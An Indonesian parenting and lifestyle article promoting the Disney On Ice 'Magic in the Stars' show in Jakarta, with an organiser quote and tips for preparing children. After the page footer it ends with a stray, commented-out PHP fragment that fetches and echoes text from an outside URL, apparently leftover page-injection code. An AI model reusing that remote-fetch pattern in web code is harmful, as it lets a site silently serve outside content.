Ketika Dongeng Menari di Atas Es dan Menyatukan Keluarga

 

 Para skater menampilkan koreografi seluncur es dengan tata cahaya teatrikal, menghadirkan adegan cerita Disney dalam format pertunjukan keluarga berskala besar. Foto: Disney on Ice

Sejumlah studi perkembangan anak menunjukkan bahwa paparan seni pertunjukan—termasuk musik, gerak, dan visual—berkaitan dengan peningkatan kemampuan kognitif, empati, serta daya imajinasi anak usia dini. Elemen cerita yang kuat dan pengalaman multisensori juga membantu anak memahami emosi serta nilai-nilai sosial secara lebih utuh. Inilah konteks yang membuat pertunjukan keluarga seperti Disney On Ice presents Magic in the Stars relevan sebagai pengalaman bersama orang tua dan anak, bukan sekadar hiburan sesaat.

 Aksi akrobatik dan seluncur menjadi bagian dari panggung Disney On Ice, memperkuat visual cerita yang dinikmati anak dan orang tua secara bersamaan. Foto: dok. Disney on Ice

Cerita Klasik, Visual Modern, dan Pengalaman Multisensori


Mulai 24 April hingga 3 Mei 2026, Istora Senayan Jakarta akan menjadi panggung bagi Disney On Ice presents Magic in the Stars. Pertunjukan ini memadukan seni seluncur es, akrobatik udara, dan tata cahaya inovatif dalam satu alur cerita yang dipandu oleh Jiminy Cricket, tokoh klasik Disney yang berperan sebagai narator.

Perjalanan cerita membawa penonton menjelajah berbagai dunia: dari pegunungan Kolombia bersama keluarga Madrigal dalam Encanto, berlayar bersama Moana, hingga mengikuti kisah para Putri Disney. Tahun ini, dua judul yang banyak dibicarakan orang tua dan anak, Raya and the Last Dragon serta Frozen 2, tampil perdana di atas es.

Menurut Roderick Tjandra, Direktur Utama One Step Forward, pertunjukan ini dirancang sebagai pengalaman keluarga lintas usia.
“Magic in the Stars adalah representasi nyata dari standar hiburan yang ingin kami hadirkan bagi keluarga Indonesia. Pertunjukan ini menyatukan lebih dari 55 karakter Disney ikonik, dari kisah klasik hingga favorit modern,” ujarnya.

Ia menambahkan bahwa kombinasi aksi seluncur, akrobatik udara, dan tata cahaya dikurasi untuk menciptakan pengalaman yang menyentuh emosi anak maupun orang dewasa, tanpa kehilangan esensi cerita.

Bagi anak, visual yang dinamis dan karakter familiar membantu menjaga fokus dan rasa aman. Sementara bagi orang tua, alur cerita yang sarat nilai—keberanian, keluarga, dan penerimaan diri—menjadi pintu diskusi setelah pertunjukan usai.

 Karakter-karakter Disney tampil di atas es dengan gerak dinamis dan kostum panggung, menciptakan pengalaman visual yang memadukan seni pertunjukan dan cerita anak. Foto: dok. Disney on Ice

Menyiapkan Anak Menonton Pertunjukan Es


Agar pengalaman menonton menjadi menyenangkan dan bermakna, ada beberapa hal yang bisa diperhatikan orang tua:

1. Kenalkan cerita sebelum pertunjukan
Menceritakan ulang kisah Frozen 2, Raya, atau Moana membantu anak mengikuti alur tanpa kebingungan, terutama untuk anak usia prasekolah.

2. Perhatikan durasi dan kondisi fisik anak
Pertunjukan berskala besar biasanya berlangsung cukup lama. Pastikan anak cukup istirahat dan makan sebelum masuk arena.

3. Siapkan anak pada efek visual dan suara
Lampu terang, musik keras, dan sorak penonton bisa mengejutkan sebagian anak. Penjelasan singkat sebelumnya membantu anak merasa lebih nyaman.

4. Jadikan pengalaman sebagai momen refleksi
Setelah pertunjukan, ajak anak berbincang tentang karakter favorit atau pesan cerita. Aktivitas ini terbukti membantu anak melatih kemampuan berbahasa dan empati.

Kenyamanan keluarga juga menjadi perhatian penyelenggara, termasuk aspek akses dan pengaturan tempat duduk. Hal ini penting mengingat penonton datang dari berbagai rentang usia, termasuk balita dan anak sekolah.

Dalam konteks pengasuhan modern, pengalaman bersama sering kali lebih berkesan dibandingkan benda atau hadiah. Pertunjukan seperti Disney On Ice presents Magic in the Stars dapat menjadi ruang aman bagi keluarga untuk berbagi cerita, emosi, dan imajinasi—sebuah jeda berkualitas di tengah rutinitas.


Baca juga:

Selamatkan Perempuan Indonesia, Dari Ancaman Sunyi Menuju Gerakan Pasti
Kisah Rempah FDII 2025: Saat Dongeng Menyatukan Cerita dan Rasa Nusantara
World of Barbie Jakarta Suguhkan Dreamhouse hingga Museum Barbie

 


Topic

#FamilyTime #ParentingIndonesia #DisneyOnIce



Artikel Rekomendasi

Load more
".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>